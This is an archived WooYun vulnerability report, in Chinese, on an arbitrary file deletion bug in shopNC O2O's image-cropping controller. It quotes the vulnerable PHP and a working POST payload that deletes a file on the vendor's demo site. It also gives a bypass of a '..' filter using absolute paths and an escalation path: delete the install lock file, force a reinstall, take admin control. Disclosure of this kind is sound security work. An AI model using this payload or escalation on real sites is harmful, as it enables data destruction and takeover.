当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080462

漏洞标题:shopNC O2O系统任意文件删除漏洞

相关厂商:shopnc.net

漏洞作者: phith0n

提交时间:2014-10-23 18:45

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-23: 细节已通知厂商并且等待厂商处理中
2014-10-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-22: 细节向核心白帽子及相关领域专家公开
2015-01-01: 细节向普通白帽子公开
2015-01-11: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

齐博齐博快确认,确认了我再送个0day~
shopNC的任意文件删除挺多的,我拿O2O系统来说明问题吧。

详细说明:

/circle/control/cut.php 46行

/**
* 图片裁剪
*
*/
public function pic_cutOp(){
import('function.thumb');
if (chksubmit()){
$thumb_width = $_POST['x'];
$x1 = $_POST["x1"];
$y1 = $_POST["y1"];
$x2 = $_POST["x2"];
$y2 = $_POST["y2"];
$w = $_POST["w"];
$h = $_POST["h"];
$scale = $thumb_width/$w;
$src = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_POST['url']);
if (!empty($_POST['filename'])){
$save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename'];
}else{
$save_file2 = str_replace('_small.','_sm.',$src);
}
$cropped = resize_thumb($save_file2, $src,$w,$h,$x1,$y1,$scale);
@unlink($src);
$pathinfo = pathinfo($save_file2);
exit($pathinfo['basename']);
}
$save_file = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_GET['url']);
$_GET['x'] = (intval($_GET['x'])>50 && $_GET['x']<400) ? $_GET['x'] : 200;
$_GET['y'] = (intval($_GET['y'])>50 && $_GET['y']<400) ? $_GET['y'] : 200;
$_GET['resize'] = $_GET['resize'] == '0' ? '0' : '1';
Tpl::output('height',get_height($save_file));
Tpl::output('width',get_width($save_file));
Tpl::showpage('cut','null_layout');
}


如上,获取了$_POST['url']并传入unlink函数,导致任意文件删除漏洞。
我看了其他几处unlink,发现都有str_replace('..','',$src);,而这一处没有。我还顺便提供一个str_replace('..','',$src);的绕过方法吧,因为这里的删除代码是unlink($src);,$src如果是绝对路径的话,不需要..做跳转,所以也就能绕过这个str_replace。不过得先知道网站绝对路径才好(不过有个位置确实能爆绝对路径,不用开启php报错),这里不提,单说/circle/control/cut.php的任意文件删除。
官方测试站:http://www.o2olive.net/demo
为了测试而且不破坏网站,我注册一个用户,上传一个头像,并删除之,来演示文件删除漏洞。

005.jpg


上传头像,地址为
http://www.o2olive.net/demo/data/upload/shop/member/avatar_375.jpg
发送如下数据包删除之:
http://www.o2olive.net/demo/circle/index.php?act=cut&op=pic_cut
POST:form_submit=ok&url=../data/upload/shop/member/avatar_375.jpg&w=1

006.jpg


再看发现已经404了:

007.jpg


通过任意文件删除漏洞,可以删除/install/lock文件,导致系统重装,获得管理员权限,并进一步提权。

漏洞证明:

见详细说明

修复方案:

过滤。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

2014-10-29:感谢,正在修复